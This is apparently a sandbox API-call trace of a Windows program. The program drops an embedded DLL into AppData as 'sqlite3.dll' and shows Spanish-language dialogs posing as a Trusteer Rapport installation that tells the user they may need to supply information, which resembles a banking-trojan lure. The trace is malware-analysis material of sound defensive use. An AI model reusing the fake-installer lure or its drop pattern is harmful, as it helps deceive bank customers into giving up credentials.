	[0117.644] WCSToMBEx () returned 0x1d
	[0117.644] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x19f9dc) 
	[0117.645] RtlUnwind (TargetFrame=0x19fa78, TargetIp=0x403ca8, ExceptionRecord=0x19f3b8, ReturnValue=0x0) 
	[0117.645] VirtualFree (lpAddress=0x721c000, dwSize=0x8000, dwFreeType=0x4000) returned 1
	[0117.645] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1
	[0117.645] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2
	[0117.645] TestWindowProcess () returned 0x1
	[0117.646] SendMessageWorker () 
	[0117.646] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x19fb34 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0
	[0117.646] FindFirstFileA (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Relatorio_Erros\\sqlite3.dll", lpFindFileData=0x19faec | out: lpFindFileData=0x19faec) returned 0xffffffff
	[0117.646] FindResourceExA (hModule=0x400000, lpType="DLLFILE", lpName="MIDASDLL", wLanguage=0x0) returned 0x529520
	[0117.646] LoadResource (hModule=0x400000, hResInfo=0x529520) returned 0x52aa68
	[0117.646] SizeofResource (hModule=0x400000, hResInfo=0x529520) returned 0x9cbe0
	[0117.646] LockResource (hResData=0x52aa68) returned 0x52aa68
	[0117.646] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Relatorio_Erros\\sqlite3.dll" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\relatorio_erros\\sqlite3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478
	[0117.647] WriteFile (in: hFile=0x478, lpBuffer=0x52aa68*, nNumberOfBytesToWrite=0x9cbe0, lpNumberOfBytesWritten=0x19fbf0, lpOverlapped=0x0 | out: lpBuffer=0x52aa68*, lpNumberOfBytesWritten=0x19fbf0*=0x9cbe0, lpOverlapped=0x0) returned 1
	[0117.657] CloseHandle (hObject=0x478) returned 1
	[0117.664] FreeResource (hResData=0x52aa68) returned 0
	[0117.664] SetEvent (hEvent=0x124) returned 1
	[0117.664] Sleep (dwMilliseconds=0x0) 
	[0117.665] Sleep (dwMilliseconds=0x0) 
	[0117.665] ResetEvent (hEvent=0x29c) returned 1
	[0117.665] GetCurrentThreadId () returned 0xd04
	[0117.665] GetCurrentThreadId () returned 0xd04
	[0117.665] GetCurrentThreadId () returned 0xd04
	[0117.665] GetCurrentThreadId () returned 0xd04
	[0117.665] ResetEvent (hEvent=0x29c) returned 1
	[0117.666] __SEH_epilog4_GS () returned 0x1
	[0117.666] __SEH_prolog4_GS () returned 0x19fbfc
	[0117.666] IsInsideUserApiHook () returned 0x1
	[0117.666] _BeginIfHookedUserApiHook () returned 0x1
	[0117.666] __SEH_epilog4_GS () returned 0x1
	[0117.666] __SEH_epilog4_GS () returned 0x1
	[0117.666] VirtualQuery (in: lpAddress=0x4d1904, lpBuffer=0x19fb4c, dwLength=0x1c | out: lpBuffer=0x19fb4c*(BaseAddress=0x4d1000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x57000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c
	[0117.666] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSOBRE", wLanguage=0x0) returned 0x529d80
	[0117.666] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSOBRE", wLanguage=0x0) returned 0x529d80
	[0117.667] LoadResource (hModule=0x400000, hResInfo=0x529d80) returned 0x19aa424
	[0117.667] SizeofResource (hModule=0x400000, hResInfo=0x529d80) returned 0x2e9
	[0117.667] LockResource (hResData=0x19aa424) returned 0x19aa424
	[0117.667] VirtualAlloc (lpAddress=0x721c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x721c000
	[0117.667] __SEH_epilog4_GS () returned 0x1
	[0117.668] __SEH_epilog4_GS () returned 0x1
	[0117.668] __SEH_epilog4_GS () returned 0x1
	[0117.668] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TfSOBRE", lpwcx=0x19f8d0 | out: lpwcx=0x19f8d0) returned 0
	[0117.668] _memset (in: _Dst=0x19f8dc, _Val=0, _Size=0x2c | out: _Dst=0x19f8dc) returned 0x19f8dc
	[0117.668] RegisterClassExWOWA () returned 0xc15f
	[0117.668] CreateWindowInternal () 
	[0117.669] _SetWindowLong () returned 0x449074
	[0117.669] @ValidateHwnd@4 () returned 0x243df90
	[0117.669] _GetWindowLong () returned 0x87000000
	[0117.669] __SEH_epilog4 () returned 0x87000000
	[0117.669] NtUserSetProp () returned 0x1
	[0117.669] NtUserSetProp () returned 0x1
	[0117.670] NtUserSetMenu () 
	[0117.672] __SEH_epilog4_GS () returned 0x1
	[0117.672] @ValidateHwnd@4 () returned 0x243df90
	[0117.673] _GetWindowLong () returned 0x87000000
	[0117.673] __SEH_epilog4 () returned 0x87000000
	[0117.673] @ValidateHwnd@4 () returned 0x243df90
	[0117.673] _GetWindowLong () returned 0x87000000
	[0117.673] __SEH_epilog4 () returned 0x87000000
	[0117.673] @ValidateHwnd@4 () returned 0x243df90
	[0117.673] _GetWindowLong () returned 0x87000000
	[0117.673] __SEH_epilog4 () returned 0x87000000
	[0117.673] @ValidateHwnd@4 () returned 0x243df90
	[0117.673] _GetWindowLong () returned 0x87000000
	[0117.673] __SEH_epilog4 () returned 0x87000000
	[0117.674] @ValidateHwnd@4 () returned 0x243df90
	[0117.674] _GetWindowLong () returned 0x87000000
	[0117.674] __SEH_epilog4 () returned 0x87000000
	[0117.674] @ValidateHwnd@4 () returned 0x243df90
	[0117.674] _GetWindowLong () returned 0x87000000
	[0117.674] __SEH_epilog4 () returned 0x87000000
	[0117.674] @ValidateHwnd@4 () returned 0x243df90
	[0117.674] _GetWindowLong () returned 0x87000000
	[0117.674] __SEH_epilog4 () returned 0x87000000
	[0117.674] @ValidateHwnd@4 () returned 0x243df90
	[0117.674] _GetWindowLong () returned 0x87000000
	[0117.674] __SEH_epilog4 () returned 0x87000000
	[0117.675] FlatSB_SetScrollProp (param_1=0x2023e, index=0x100, newValue=0x0, param_4=1) returned 0
	[0117.675] FlatSB_SetScrollProp (param_1=0x2023e, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0117.675] FlatSB_SetScrollInfo (param_1=0x2023e, code=1, psi=0x19e5f6, fRedraw=1) returned 0
	[0117.675] @ValidateHwnd@4 () returned 0x243df90
	[0117.675] _GetWindowLong () returned 0x87000000
	[0117.675] __SEH_epilog4 () returned 0x87000000
	[0117.675] @ValidateHwnd@4 () returned 0x243df90
	[0117.676] _GetWindowLong () returned 0x87000000
	[0117.676] __SEH_epilog4 () returned 0x87000000
	[0117.676] @ValidateHwnd@4 () returned 0x243df90
	[0117.676] _GetWindowLong () returned 0x87000000
	[0117.676] __SEH_epilog4 () returned 0x87000000
	[0117.676] FlatSB_SetScrollProp (param_1=0x2023e, index=0x200, newValue=0x0, param_4=1) returned 0
	[0117.676] FlatSB_SetScrollProp (param_1=0x2023e, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0117.676] FlatSB_SetScrollInfo (param_1=0x2023e, code=0, psi=0x19e5f6, fRedraw=1) returned 0
	[0117.677] @ValidateHwnd@4 () returned 0x243df90
	[0117.677] _GetWindowLong () returned 0x87000000
	[0117.677] __SEH_epilog4 () returned 0x87000000
	[0117.679] __SEH_epilog4_GS () returned 0x1
	[0117.679] @ValidateHwnd@4 () returned 0x243df90
	[0117.679] _GetWindowLong () returned 0x87000000
	[0117.679] __SEH_epilog4 () returned 0x87000000
	[0117.679] @ValidateHwnd@4 () returned 0x243df90
	[0117.679] _GetWindowLong () returned 0x87000000
	[0117.679] __SEH_epilog4 () returned 0x87000000
	[0117.679] @ValidateHwnd@4 () returned 0x243df90
	[0117.679] _GetWindowLong () returned 0x87000000
	[0117.679] __SEH_epilog4 () returned 0x87000000
	[0117.680] @ValidateHwnd@4 () returned 0x243df90
	[0117.680] _GetWindowLong () returned 0x87000000
	[0117.680] __SEH_epilog4 () returned 0x87000000
	[0117.680] @ValidateHwnd@4 () returned 0x243df90
	[0117.680] _GetWindowLong () returned 0x87000000
	[0117.680] __SEH_epilog4 () returned 0x87000000
	[0118.026] @ValidateHwnd@4 () returned 0x243df90
	[0118.026] _GetWindowLong () returned 0x87000000
	[0118.026] __SEH_epilog4 () returned 0x87000000
	[0118.026] @ValidateHwnd@4 () returned 0x243df90
	[0118.026] _GetWindowLong () returned 0x87000000
	[0118.026] __SEH_epilog4 () returned 0x87000000
	[0118.026] @ValidateHwnd@4 () returned 0x243df90
	[0118.026] _GetWindowLong () returned 0x87000000
	[0118.026] __SEH_epilog4 () returned 0x87000000
	[0118.026] FlatSB_SetScrollProp (param_1=0x2023e, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.026] FlatSB_SetScrollProp (param_1=0x2023e, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.026] FlatSB_SetScrollInfo (param_1=0x2023e, code=1, psi=0x19f002, fRedraw=1) returned 0
	[0118.027] @ValidateHwnd@4 () returned 0x243df90
	[0118.027] _GetWindowLong () returned 0x87000000
	[0118.027] __SEH_epilog4 () returned 0x87000000
	[0118.027] @ValidateHwnd@4 () returned 0x243df90
	[0118.027] _GetWindowLong () returned 0x87000000
	[0118.027] __SEH_epilog4 () returned 0x87000000
	[0118.027] @ValidateHwnd@4 () returned 0x243df90
	[0118.028] _GetWindowLong () returned 0x87000000
	[0118.028] __SEH_epilog4 () returned 0x87000000
	[0118.028] FlatSB_SetScrollProp (param_1=0x2023e, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.028] FlatSB_SetScrollProp (param_1=0x2023e, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.028] FlatSB_SetScrollInfo (param_1=0x2023e, code=0, psi=0x19f002, fRedraw=1) returned 0
	[0118.028] @ValidateHwnd@4 () returned 0x243df90
	[0118.028] _GetWindowLong () returned 0x87000000
	[0118.028] __SEH_epilog4 () returned 0x87000000
	[0118.032] __SEH_epilog4_GS () returned 0x1
	[0118.032] @ValidateHwnd@4 () returned 0x243df90
	[0118.032] _GetWindowLong () returned 0x87000000
	[0118.032] __SEH_epilog4 () returned 0x87000000
	[0118.032] @ValidateHwnd@4 () returned 0x243df90
	[0118.032] _GetWindowLong () returned 0x87000000
	[0118.032] __SEH_epilog4 () returned 0x87000000
	[0118.032] @ValidateHwnd@4 () returned 0x243df90
	[0118.032] _GetWindowLong () returned 0x87000000
	[0118.032] __SEH_epilog4 () returned 0x87000000
	[0118.032] @ValidateHwnd@4 () returned 0x243df90
	[0118.032] _GetWindowLong () returned 0x87000000
	[0118.032] __SEH_epilog4 () returned 0x87000000
	[0118.033] @ValidateHwnd@4 () returned 0x243df90
	[0118.033] _GetWindowLong () returned 0x87000000
	[0118.033] __SEH_epilog4 () returned 0x87000000
	[0118.033] @ValidateHwnd@4 () returned 0x243df90
	[0118.033] _GetWindowLong () returned 0x87000000
	[0118.033] __SEH_epilog4 () returned 0x87000000
	[0118.033] @ValidateHwnd@4 () returned 0x243df90
	[0118.033] _GetWindowLong () returned 0x87000000
	[0118.033] __SEH_epilog4 () returned 0x87000000
	[0118.033] @ValidateHwnd@4 () returned 0x243df90
	[0118.033] _GetWindowLong () returned 0x87000000
	[0118.033] __SEH_epilog4 () returned 0x87000000
	[0118.034] FlatSB_SetScrollProp (param_1=0x2023e, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.034] FlatSB_SetScrollProp (param_1=0x2023e, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.034] FlatSB_SetScrollInfo (param_1=0x2023e, code=1, psi=0x19ea1e, fRedraw=1) returned 0
	[0118.034] @ValidateHwnd@4 () returned 0x243df90
	[0118.034] _GetWindowLong () returned 0x87000000
	[0118.034] __SEH_epilog4 () returned 0x87000000
	[0118.034] @ValidateHwnd@4 () returned 0x243df90
	[0118.034] _GetWindowLong () returned 0x87000000
	[0118.034] __SEH_epilog4 () returned 0x87000000
	[0118.035] @ValidateHwnd@4 () returned 0x243df90
	[0118.035] _GetWindowLong () returned 0x87000000
	[0118.035] __SEH_epilog4 () returned 0x87000000
	[0118.035] FlatSB_SetScrollProp (param_1=0x2023e, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.035] FlatSB_SetScrollProp (param_1=0x2023e, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.035] FlatSB_SetScrollInfo (param_1=0x2023e, code=0, psi=0x19ea1e, fRedraw=1) returned 0
	[0118.035] @ValidateHwnd@4 () returned 0x243df90
	[0118.035] _GetWindowLong () returned 0x87000000
	[0118.035] __SEH_epilog4 () returned 0x87000000
	[0118.039] @ValidateHwnd@4 () returned 0x243df90
	[0118.039] _GetWindowLong () returned 0x87000000
	[0118.039] __SEH_epilog4 () returned 0x87000000
	[0118.039] __SEH_prolog4_GS () returned 0x19f8a8
	[0118.039] @ValidateHwnd@4 () returned 0x243df90
	[0118.039] _GetWindowRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.039] @ValidateHwnd@4 () returned 0x243df90
	[0118.039] _GetWindowLong () returned 0x87000000
	[0118.039] __SEH_epilog4 () returned 0x87000000
	[0118.039] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Tahoma", cchCount1=6, lpString2="Default", cchCount2=7) returned 3
	[0118.039] CreateFontIndirectA (lplf=0x19f8c8) returned 0x690a065b
	[0118.042] FlatSB_SetScrollProp (param_1=0x2023e, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.042] FlatSB_SetScrollProp (param_1=0x2023e, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.042] FlatSB_SetScrollInfo (param_1=0x2023e, code=1, psi=0x19f9ae, fRedraw=1) returned 0
	[0118.042] @ValidateHwnd@4 () returned 0x243df90
	[0118.042] _GetWindowLong () returned 0x87000000
	[0118.042] __SEH_epilog4 () returned 0x87000000
	[0118.042] @HMValidateHandle@8 () returned 0x243df90
	[0118.042] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.043] @ValidateHwnd@4 () returned 0x243df90
	[0118.043] _GetWindowLong () returned 0x87000000
	[0118.043] __SEH_epilog4 () returned 0x87000000
	[0118.043] @HMValidateHandle@8 () returned 0x243df90
	[0118.043] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.043] @ValidateHwnd@4 () returned 0x243df90
	[0118.043] _GetWindowLong () returned 0x87000000
	[0118.043] __SEH_epilog4 () returned 0x87000000
	[0118.043] @HMValidateHandle@8 () returned 0x243df90
	[0118.043] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.043] FlatSB_SetScrollProp (param_1=0x2023e, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.043] FlatSB_SetScrollProp (param_1=0x2023e, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.044] FlatSB_SetScrollInfo (param_1=0x2023e, code=0, psi=0x19f9ae, fRedraw=1) returned 0
	[0118.044] @ValidateHwnd@4 () returned 0x243df90
	[0118.044] _GetWindowLong () returned 0x87000000
	[0118.044] __SEH_epilog4 () returned 0x87000000
	[0118.044] @HMValidateHandle@8 () returned 0x243df90
	[0118.044] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.044] @ValidateHwnd@4 () returned 0x243df90
	[0118.044] SendMessageWorker () 
	[0118.047] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.047] SelectObject (hdc=0xa0100d0, h=0x690a065b) returned 0x18a0048
	[0118.047] SetTextColor (hdc=0xa0100d0, color=0x0) returned 0x0
	[0118.047] GetTextExtentPoint32A (in: hdc=0xa0100d0, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0118.053] @HMValidateHandle@8 () returned 0x243df90
	[0118.053] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.053] @HMValidateHandle@8 () returned 0x243df90
	[0118.053] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.053] NtUserSetWindowPos () 
	[0118.054] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f794 | out: lppt=0x19f794) returned 1
	[0118.144] __SEH_prolog4_GS () returned 0x19f5e0
	[0118.144] @ValidateHwnd@4 () returned 0x243df90
	[0118.144] _GetWindowRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.144] @ValidateHwnd@4 () returned 0x243df90
	[0118.144] _GetWindowLong () returned 0x87000000
	[0118.144] __SEH_epilog4 () returned 0x87000000
	[0118.145] __SEH_prolog4_GS () returned 0x19f004
	[0118.145] @ValidateHwnd@4 () returned 0x243df90
	[0118.145] _GetWindowRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.145] @ValidateHwnd@4 () returned 0x243df90
	[0118.145] _GetWindowLong () returned 0x87000000
	[0118.145] __SEH_epilog4 () returned 0x87000000
	[0118.145] __SEH_prolog4_GS () returned 0x19f018
	[0118.145] IsInsideUserApiHook () returned 0x1
	[0118.145] _BeginIfHookedUserApiHook () returned 0x1
	[0118.145] __SEH_epilog4_GS () returned 0x1
	[0118.145] @ValidateHwnd@4 () returned 0x243df90
	[0118.146] _GetWindowLong () returned 0x87000000
	[0118.146] __SEH_epilog4 () returned 0x87000000
	[0118.146] @ValidateHwnd@4 () returned 0x243df90
	[0118.146] _GetWindowLong () returned 0x87000000
	[0118.146] __SEH_epilog4 () returned 0x87000000
	[0118.146] @ValidateHwnd@4 () returned 0x243df90
	[0118.146] _GetWindowLong () returned 0x87000000
	[0118.146] __SEH_epilog4 () returned 0x87000000
	[0118.146] @ValidateHwnd@4 () returned 0x243df90
	[0118.146] _GetWindowLong () returned 0x87000000
	[0118.146] __SEH_epilog4 () returned 0x87000000
	[0118.146] @ValidateHwnd@4 () returned 0x243df90
	[0118.147] _GetWindowLong () returned 0x87000000
	[0118.147] __SEH_epilog4 () returned 0x87000000
	[0118.147] @ValidateHwnd@4 () returned 0x243df90
	[0118.147] _GetWindowLong () returned 0x87000000
	[0118.147] __SEH_epilog4 () returned 0x87000000
	[0118.147] @ValidateHwnd@4 () returned 0x243df90
	[0118.147] _GetWindowLong () returned 0x87000000
	[0118.147] __SEH_epilog4 () returned 0x87000000
	[0118.147] @ValidateHwnd@4 () returned 0x243df90
	[0118.147] _GetWindowLong () returned 0x87000000
	[0118.147] __SEH_epilog4 () returned 0x87000000
	[0118.147] FlatSB_SetScrollProp (param_1=0x2023e, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.147] FlatSB_SetScrollProp (param_1=0x2023e, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.147] FlatSB_SetScrollInfo (param_1=0x2023e, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.148] @ValidateHwnd@4 () returned 0x243df90
	[0118.148] _GetWindowLong () returned 0x87000000
	[0118.148] __SEH_epilog4 () returned 0x87000000
	[0118.148] @ValidateHwnd@4 () returned 0x243df90
	[0118.148] _GetWindowLong () returned 0x87000000
	[0118.148] __SEH_epilog4 () returned 0x87000000
	[0118.149] @ValidateHwnd@4 () returned 0x243df90
	[0118.149] _GetWindowLong () returned 0x87000000
	[0118.149] __SEH_epilog4 () returned 0x87000000
	[0118.149] FlatSB_SetScrollProp (param_1=0x2023e, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.149] FlatSB_SetScrollProp (param_1=0x2023e, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.150] FlatSB_SetScrollInfo (param_1=0x2023e, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.150] @ValidateHwnd@4 () returned 0x243df90
	[0118.150] _GetWindowLong () returned 0x87000000
	[0118.150] __SEH_epilog4 () returned 0x87000000
	[0118.151] __SEH_epilog4_GS () returned 0x1
	[0118.151] @HMValidateHandle@8 () returned 0x243df90
	[0118.151] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.151] @HMValidateHandle@8 () returned 0x243df90
	[0118.151] _GetClientRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.151] NtUserSetWindowPos () 
	[0118.162] __SEH_prolog4_GS () returned 0x19f5e0
	[0118.162] @ValidateHwnd@4 () returned 0x243df90
	[0118.162] _GetWindowRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.162] @ValidateHwnd@4 () returned 0x243df90
	[0118.162] _GetWindowLong () returned 0x87000000
	[0118.162] __SEH_epilog4 () returned 0x87000000
	[0118.163] __SEH_prolog4_GS () returned 0x19f004
	[0118.163] @ValidateHwnd@4 () returned 0x243df90
	[0118.163] _GetWindowRect (in: hWnd=0x243df90, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0118.163] __SEH_epilog4_GS () returned 0x1
	[0118.165] FlatSB_SetScrollProp (param_1=0x2023e, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.165] FlatSB_SetScrollProp (param_1=0x2023e, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.165] FlatSB_SetScrollInfo (param_1=0x2023e, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.166] FlatSB_SetScrollProp (param_1=0x2023e, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.166] FlatSB_SetScrollProp (param_1=0x2023e, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.166] FlatSB_SetScrollInfo (param_1=0x2023e, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.167] __SEH_epilog4_GS () returned 0x1
	[0118.167] FreeResource (hResData=0x19aa424) returned 0
	[0118.180] __SEH_epilog4_GS () returned 0x1
	[0118.180] __SEH_prolog4_GS () returned 0x19fbfc
	[0118.180] IsInsideUserApiHook () returned 0x1
	[0118.180] _BeginIfHookedUserApiHook () returned 0x1
	[0118.180] __SEH_epilog4_GS () returned 0x1
	[0118.180] __SEH_epilog4_GS () returned 0x1
	[0118.180] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfIT_ALie", wLanguage=0x0) returned 0x529d40
	[0118.180] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfIT_ALie", wLanguage=0x0) returned 0x529d40
	[0118.180] LoadResource (hModule=0x400000, hResInfo=0x529d40) returned 0x12a62e4
	[0118.202] SizeofResource (hModule=0x400000, hResInfo=0x529d40) returned 0x18fa2d
	[0118.203] LockResource (hResData=0x12a62e4) returned 0x12a62e4
	[0118.203] __SEH_epilog4_GS () returned 0x1
	[0118.203] __SEH_epilog4_GS () returned 0x1
	[0118.216] GetObjectA (in: h=0x3805075a, c=84, pv=0x19f670 | out: pv=0x19f670) returned 84
	[0118.216] RtlLockHeap (Heap=0x230000) returned 1
	[0118.216] RtlGetUserInfoHeap (in: HeapHandle=0x230000, Flags=0x801, BaseAddress=0x8d7c020, UserValue=0x19f7bc, UserFlags=0x19f7b8 | out: UserValue=0x19f7bc*=0x73d004c, UserFlags=0x19f7b8) returned 1
	[0118.216] RtlLockHeap (Heap=0x230000) returned 1
	[0118.216] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0048) returned 1
	[0118.216] RtlRestoreLastWin32Error () returned 0x0
	[0118.219] MoveToEx (in: hdc=0xa010691, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.219] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0118.219] UnrealizeObject (h=0x1b100652) returned 1
	[0118.219] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0118.219] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0118.219] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0118.219] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.276] GetCurrentPositionEx (in: hdc=0xa010691, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.276] GdiReleaseDC () returned 0x1
	[0118.276] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0118.276] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Instalación de software Trusteer Rapport", len=0x28 | out: pbstr=0x19f808*="Instalación de software Trusteer Rapport") returned 1
	[0118.276] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.277] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.277] UnrealizeObject (h=0x1b100652) returned 1
	[0118.277] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.277] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.277] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.277] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.277] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.277] GdiReleaseDC () returned 0x1
	[0118.277] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.277] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", len=0x58 | out: pbstr=0x19f808*="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.") returned 1
	[0118.277] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.277] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.277] UnrealizeObject (h=0x1b100652) returned 1
	[0118.277] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.277] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.277] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.278] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.278] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.278] GdiReleaseDC () returned 0x1
	[0118.278] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.278] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Por favor espere hasta que el proceso de instalación termine.", len=0x3d | out: pbstr=0x19f808*="Por favor espere hasta que el proceso de instalación termine.") returned 1
	[0118.278] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.278] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.278] UnrealizeObject (h=0x1b100652) returned 1
	[0118.278] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.278] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.278] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.278] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.279] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
	[0118.279] GdiReleaseDC () returned 0x1
	[0118.279] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.283] RtlLockHeap (Heap=0x230000) returned 1
	[0118.283] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0048) returned 1
	[0118.283] RtlRestoreLastWin32Error () returned 0x0
	[0118.291] GetObjectA (in: h=0xa605072b, c=84, pv=0x19f670 | out: pv=0x19f670) returned 84
	[0118.292] RtlLockHeap (Heap=0x230000) returned 1
	[0118.292] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0048) returned 1
	[0118.292] RtlRestoreLastWin32Error () returned 0x0
	[0118.294] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.294] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.294] UnrealizeObject (h=0x1b100652) returned 1
	[0118.294] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.294] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.294] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.294] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.294] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19f558 | out: lppt=0x19f558) returned 1
